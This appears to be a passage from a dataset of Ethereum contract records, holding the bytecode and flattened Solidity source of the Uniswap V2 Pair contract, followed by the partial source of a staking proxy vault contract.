6e16565b611fdb565b600854604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611aca9284928792611a26926e01000000000000000000000000000090046dffffffffffffffffffffffffffff169173ffffffffffffffffffffffffffffffffffffffff8616916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b50506001600c5550565b60055473ffffffffffffffffffffffffffffffffffffffff1681565b60075473ffffffffffffffffffffffffffffffffffffffff1681565b42841015611b7b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f556e697377617056323a20455850495245440000000000000000000000000000604482015290519081900360640190fd5b60035473ffffffffffffffffffffffffffffffffffffffff80891660008181526004602090815260408083208054600180820190925582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98186015280840196909652958d166060860152608085018c905260a085019590955260c08085018b90528151808603909101815260e0850182528051908301207f19010000000000000000000000000000000000000000000000000000000000006101008601526101028501969096526101228085019690965280518085039096018652610142840180825286519683019690962095839052610162840180825286905260ff89166101828501526101a284018890526101c28401879052519193926101e2808201937fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe081019281900390910190855afa158015611cdc573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff811615801590611d5757508873ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b611dc257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f556e697377617056323a20494e56414c49445f5349474e415455524500000000604482015290519081900360640190fd5b611dcd89898961259c565b505050505050505050565b600260209081526000928352604080842090915290825290205481565b600c54600114611e6657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611fd49273ffffffffffffffffffffffffffffffffffffffff16916370a08231916024808301926020929190829003018186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d6020811015611f0757600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b158015611f7a57600080fd5b505afa158015611f8e573d6000803e3d6000fd5b505050506040513d6020811015611fa457600080fd5b50516008546dffffffffffffffffffffffffffff808216916e0100000000000000000000000000009004166122e0565b6001600c55565b604080518082018252601981527f7472616e7366657228616464726573732c75696e743235362900000000000000602091820152815173ffffffffffffffffffffffffffffffffffffffff85811660248301526044808301869052845180840390910181526064909201845291810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb000000000000000000000000000000000000000000000000000000001781529251815160009460609489169392918291908083835b602083106120e157805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe090920191602091820191016120a4565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612143576040519150601f19603f3d011682016040523d82523d6000602084013e612148565b606091505b5091509150818015612176575080511580612176575080806020019051602081101561217357600080fd5b50515b6121e157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f556e697377617056323a205452414e534645525f4641494c4544000000000000604482015290519081900360640190fd5b5050505050565b60008115806122035750508082028282828161220057fe5b04145b610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6d756c2d6f766572666c6f77000000000000000000000000604482015290519081900360640190fd5b80820382811115610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f64732d6d6174682d7375622d756e646572666c6f770000000000000000000000604482015290519081900360640190fd5b6dffffffffffffffffffffffffffff841180159061230c57506dffffffffffffffffffffffffffff8311155b61237757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f556e697377617056323a204f564552464c4f5700000000000000000000000000604482015290519081900360640190fd5b60085463ffffffff428116917c0100000000000000000000000000000000000000000000000000000000900481168203908116158015906123c757506dffffffffffffffffffffffffffff841615155b80156123e257506dffffffffffffffffffffffffffff831615155b15612492578063ffffffff16612425856123fb86612a57565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff169063ffffffff612a7b16565b600980547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff929092169290920201905563ffffffff8116612465846123fb87612a57565b600a80547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff92909216929092020190555b600880547fffffffffffffffffffffffffffffffffffff0000000000000000000000000000166dffffffffffffffffffffffffffff888116919091177fffffffff0000000000000000000000000000ffffffffffffffffffffffffffff166e0100000000000000000000000000008883168102919091177bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167c010000000000000000000000000000000000000000000000000000000063ffffffff871602179283905560408051848416815291909304909116602082015281517f1c411e9a96e071241c2f21f7726b17ae89e3cab4c78be50e062b03a9fffbbad1929181900390910190a1505050505050565b73ffffffffffffffffffffffffffffffffffffffff808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260016020526040902054612641908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff8085166000908152600160205260408082209390935590841681522054612683908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff80841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663017e7e586040518163ffffffff1660e01b815260040160206040518083038186803b15801561275757600080fd5b505afa15801561276b573d6000803e3d6000fd5b505050506040513d602081101561278157600080fd5b5051600b5473ffffffffffffffffffffffffffffffffffffffff821615801594509192509061286457801561285f5760006127d86112576dffffffffffffffffffffffffffff88811690881663ffffffff6121e816565b905060006127e583612878565b90508082111561285c576000612813612804848463ffffffff61226e16565b6000549063ffffffff6121e816565b905060006128388361282c86600563ffffffff6121e816565b9063ffffffff612abc16565b9050600081838161284557fe5b04905080156128585761285887826128ca565b5050505b50505b612870565b8015612870576000600b555b505092915050565b600060038211156128bb575080600160028204015b818110156128b5578091506002818285816128a457fe5b0401816128ad57fe5b04905061288d565b506128c5565b81156128c5575060015b919050565b6000546128dd908263ffffffff612abc16565b600090815573ffffffffffffffffffffffffffffffffffffffff8316815260016020526040902054612915908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6000818310612989578161298b565b825b9392505050565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600160205260409020546129c8908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff831660009081526001602052604081209190915554612a02908263ffffffff61226e16565b600090815560408051838152905173ffffffffffffffffffffffffffffffffffffffff8516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a35050565b6dffffffffffffffffffffffffffff166e0100000000000000000000000000000290565b60006dffffffffffffffffffffffffffff82167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff841681612ab457fe5b049392505050565b80820182811015610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6164642d6f766572666c6f77000000000000000000000000604482015290519081900360640190fdfe556e697377617056323a20494e53554646494349454e545f4f55545055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f494e5055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f4c4951554944495459556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4255524e4544556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4d494e544544a265627a7a723158207dca18479e58487606bf70c79e44d8dee62353c9ee6d01f9a9d70885b8765f2264736f6c63430005100032 | // File: contracts/interfaces/IUniswapV2Pair.sol
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// File: contracts/interfaces/IUniswapV2ERC20.sol
pragma solidity >=0.5.0;
interface IUniswapV2ERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
// File: contracts/libraries/SafeMath.sol
pragma solidity =0.5.16;
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
// File: contracts/UniswapV2ERC20.sol
pragma solidity =0.5.16;
contract UniswapV2ERC20 is IUniswapV2ERC20 {
using SafeMath for uint;
string public constant name = 'Uniswap V2';
string public constant symbol = 'UNI-V2';
uint8 public constant decimals = 18;
uint public totalSupply;
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
bytes32 public DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public nonces;
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
constructor() public {
uint chainId;
assembly {
chainId := chainid
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
chainId,
address(this)
)
);
}
function _mint(address to, uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external returns (bool) {
if (allowance[from][msg.sender] != uint(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
require(deadline >= block.timestamp, 'UniswapV2: EXPIRED');
bytes32 digest = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE');
_approve(owner, spender, value);
}
}
// File: contracts/libraries/Math.sol
pragma solidity =0.5.16;
// a library for performing various math operations
library Math {
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
// File: contracts/libraries/UQ112x112.sol
pragma solidity =0.5.16;
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
library UQ112x112 {
uint224 constant Q112 = 2**112;
// encode a uint112 as a UQ112x112
function encode(uint112 y) internal pure returns (uint224 z) {
z = uint224(y) * Q112; // never overflows
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {
z = x / uint224(y);
}
}
// File: contracts/interfaces/IERC20.sol
pragma solidity >=0.5.0;
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
// File: contracts/interfaces/IUniswapV2Factory.sol
pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// File: contracts/interfaces/IUniswapV2Callee.sol
pragma solidity >=0.5.0;
interface IUniswapV2Callee {
function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
// File: contracts/UniswapV2Pair.sol
pragma solidity =0.5.16;
contract UniswapV2Pair is IUniswapV2Pair, UniswapV2ERC20 {
using SafeMath for uint;
using UQ112x112 for uint224;
uint public constant MINIMUM_LIQUIDITY = 10**3;
bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)')));
address public factory;
address public token0;
address public token1;
uint112 private reserve0; // uses single storage slot, accessible via getReserves
uint112 private reserve1; // uses single storage slot, accessible via getReserves
uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves
uint public price0CumulativeLast;
uint public price1CumulativeLast;
uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event
uint private unlocked = 1;
modifier lock() {
require(unlocked == 1, 'UniswapV2: LOCKED');
unlocked = 0;
_;
unlocked = 1;
}
function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) {
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
function _safeTransfer(address token, address to, uint value) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'UniswapV2: TRANSFER_FAILED');
}
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
constructor() public {
factory = msg.sender;
}
// called once by the factory at time of deployment
function initialize(address _token0, address _token1) external {
require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check
token0 = _token0;
token1 = _token1;
}
// update reserves and, on the first call per block, price accumulators
function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private {
require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'UniswapV2: OVERFLOW');
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
// * never overflows, and + overflow is desired
price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;
price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
// if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k)
function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) {
address feeTo = IUniswapV2Factory(factory).feeTo();
feeOn = feeTo != address(0);
uint _kLast = kLast; // gas savings
if (feeOn) {
if (_kLast != 0) {
uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1));
uint rootKLast = Math.sqrt(_kLast);
if (rootK > rootKLast) {
uint numerator = totalSupply.mul(rootK.sub(rootKLast));
uint denominator = rootK.mul(5).add(rootKLast);
uint liquidity = numerator / denominator;
if (liquidity > 0) _mint(feeTo, liquidity);
}
}
} else if (_kLast != 0) {
kLast = 0;
}
}
// this low-level function should be called from a contract which performs important safety checks
function mint(address to) external lock returns (uint liquidity) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
uint balance0 = IERC20(token0).balanceOf(address(this));
uint balance1 = IERC20(token1).balanceOf(address(this));
uint amount0 = balance0.sub(_reserve0);
uint amount1 = balance1.sub(_reserve1);
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
if (_totalSupply == 0) {
liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
} else {
liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);
}
require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED');
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Mint(msg.sender, amount0, amount1);
}
// this low-level function should be called from a contract which performs important safety checks
function burn(address to) external lock returns (uint amount0, uint amount1) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
uint balance0 = IERC20(_token0).balanceOf(address(this));
uint balance1 = IERC20(_token1).balanceOf(address(this));
uint liquidity = balanceOf[address(this)];
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED');
_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Burn(msg.sender, amount0, amount1, to);
}
// this low-level function should be called from a contract which performs important safety checks
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT');
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY');
uint balance0;
uint balance1;
{ // scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO');
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
}
uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT');
{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K');
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
// force balances to match reserves
function skim(address to) external lock {
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
_safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0));
_safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1));
}
// force reserves to match balances
function sync() external lock {
_update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1);
}
} |
1 | 20,290,695 | c307a34a858b3fb47f8e210b5eafe5ee1307207932328d4c68f0d06bd3d229a8 | d4ac1129e8e8ab2d8f5fd2ed07d2e8d2a61907df4b566289b9b9c9d85473c014 | 57bf3b0f29e37619623994071c9e12091919675c | 66807b5598a848602734b82e432dd88dbe13fc8f | 2be9d311e1660e2fd8c6f25b9b4950e4d988510c | 3d602d80600a3d3981f3363d3d373d3d3d363d73359c1efd3fc7e3a9b7a043c185fd5d39dec1fc815af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d73359c1efd3fc7e3a9b7a043c185fd5d39dec1fc815af43d82803e903d91602b57fd5bf3 | {{
"language": "Solidity",
"sources": {
"/contracts/boosting/StakingProxyERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.10;\n\nimport \"./StakingProxyBase.sol\";\nimport \"../interfaces/IFxnGauge.sol\";\nimport '@openzeppelin/contracts/security/ReentrancyGuard.sol';\n\n/*\nVault implementation for basic erc20 tokens\n*/\ncontract StakingProxyERC20 is StakingProxyBase, ReentrancyGuard{\n using SafeERC20 for IERC20;\n\n constructor(address _poolRegistry, address _feeRegistry, address _fxnminter) \n StakingProxyBase(_poolRegistry, _feeRegistry, _fxnminter){\n }\n\n //vault type\n function vaultType() external pure override returns(VaultType){\n return VaultType.Erc20Basic;\n }\n\n //vault version\n function vaultVersion() external pure override returns(uint256){\n return 1;\n }\n\n //initialize vault\n function initialize(address _owner, uint256 _pid) public override{\n super.initialize(_owner, _pid);\n\n //set infinite approval\n IERC20(stakingToken).approve(gaugeAddress, type(uint256).max);\n\n //set extra rewards to send directly back to owner\n //..could technically save gas on initialize() by using claim(address,address) but\n //since claim is unguarded would be better UX to set receiver in case called by some other address\n IFxnGauge(gaugeAddress).setRewardReceiver(_owner);\n }\n\n\n //deposit into gauge\n function deposit(uint256 _amount) external onlyOwner nonReentrant{\n if(_amount > 0){\n //pull tokens from user\n address _stakingToken = stakingToken;\n IERC20(_stakingToken).safeTransferFrom(msg.sender, address(this), _amount);\n\n //stake (use balanceof in case of change during transfer)\n IFxnGauge(gaugeAddress).deposit(IERC20(_stakingToken).balanceOf(address(this)));\n }\n \n //checkpoint rewards\n _checkpointRewards();\n }\n\n //deposit into gauge with manage flag\n function deposit(uint256 _amount, bool _manage) external onlyOwner nonReentrant{\n if(_amount > 0){\n //pull tokens from user\n address _stakingToken = stakingToken;\n IERC20(_stakingToken).safeTransferFrom(msg.sender, address(this), _amount);\n\n //stake (use balanceof in case of change during transfer)\n IFxnGauge(gaugeAddress).deposit(IERC20(_stakingToken).balanceOf(address(this)), address(this), _manage);\n }\n \n //checkpoint rewards\n _checkpointRewards();\n }\n\n\n //withdraw a staked position\n function withdraw(uint256 _amount) external onlyOwner nonReentrant{\n\n //withdraw to vault\n IFxnGauge(gaugeAddress).withdraw(_amount);\n\n //checkpoint rewards\n _checkpointRewards();\n\n //send back to owner any staking tokens on the vault (may differ from _amount)\n address _stakingToken = stakingToken;\n IERC20(_stakingToken).safeTransfer(msg.sender, IERC20(_stakingToken).balanceOf(address(this)));\n }\n\n\n //return earned tokens on staking contract and any tokens that are on this vault\n function earned() external override returns (address[] memory token_addresses, uint256[] memory total_earned) {\n //get list of reward tokens\n address[] memory rewardTokens = IFxnGauge(gaugeAddress).getActiveRewardTokens();\n\n //create array of rewards on gauge, rewards on extra reward contract, and fxn that is minted\n address _rewards = rewards;\n token_addresses = new address[](rewardTokens.length + IRewards(_rewards).rewardTokenLength() + 1);// +1 for fxn\n total_earned = new uint256[](rewardTokens.length + IRewards(_rewards).rewardTokenLength() + 1); // +1 for fxn\n\n //simulate claiming\n\n //mint fxn\n try IFxnTokenMinter(fxnMinter).mint(gaugeAddress){}catch{}\n \n //check fxn\n token_addresses[0] = fxn;\n //remove fee (assumes all fxn on vault came from minting)\n total_earned[0] = IERC20(fxn).balanceOf(address(this)) * (FEE_DENOMINATOR - IFeeRegistry(feeRegistry).totalFees()) / FEE_DENOMINATOR;\n\n //claim other rewards on gauge to this address to tally\n IFxnGauge(gaugeAddress).claim(address(this),address(this));\n\n //get balance of tokens\n for(uint256 i = 0; i < rewardTokens.length; i++){\n token_addresses[i+1] = rewardTokens[i];\n if(rewardTokens[i] == fxn){\n //if more fxn was distributed as an extra reward, add difference of current-minted\n total_earned[i+1] = IERC20(rewardTokens[i]).balanceOf(address(this)) - total_earned[0];\n }else{\n total_earned[i+1] = IERC20(rewardTokens[i]).balanceOf(address(this));\n }\n }\n\n //also add an extra rewards from convex's side\n IRewards.EarnedData[] memory extraRewards = IRewards(_rewards).claimableRewards(address(this));\n for(uint256 i = 0; i < extraRewards.length; i++){\n token_addresses[i+rewardTokens.length+1] = extraRewards[i].token;\n total_earned[i+rewardTokens.length+1] = extraRewards[i].amount;\n }\n }\n\n /*\n claim flow:\n mint fxn rewards directly to vault\n claim extra rewards directly to the owner\n calculate fees on fxn\n distribute fxn between owner and fee deposit\n */\n function getReward() external override{\n getReward(true);\n }\n\n //get reward with claim option.\n function getReward(bool _claim) public override{\n\n //claim\n if(_claim){\n //fxn rewards (claim here first then send to user after fees)\n try IFxnTokenMinter(fxnMinter).mint(gaugeAddress){}catch{}\n\n //extras (will get claimed directly to owner)\n IFxnGauge(gaugeAddress).claim();\n }\n\n //process fxn fees\n _processFxn();\n\n //extra rewards\n _processExtraRewards();\n }\n\n //get reward with claim option, as well as a specific token list to claim from convex extra rewards\n function getReward(bool _claim, address[] calldata _tokenList) external override{\n\n //claim\n if(_claim){\n //fxn rewards\n try IFxnTokenMinter(fxnMinter).mint(gaugeAddress){}catch{}\n\n //extras\n IFxnGauge(gaugeAddress).claim();\n }\n\n //process fxn fees\n _processFxn();\n\n //extra rewards\n _processExtraRewardsFilter(_tokenList);\n }\n\n //return any tokens in vault back to owner\n function transferTokens(address[] calldata _tokenList) external onlyOwner{\n //transfer tokens back to owner\n //fxn and gauge tokens are skipped\n _transferTokens(_tokenList);\n }\n\n}\n"
},
"/contracts/interfaces/IRewards.sol": {
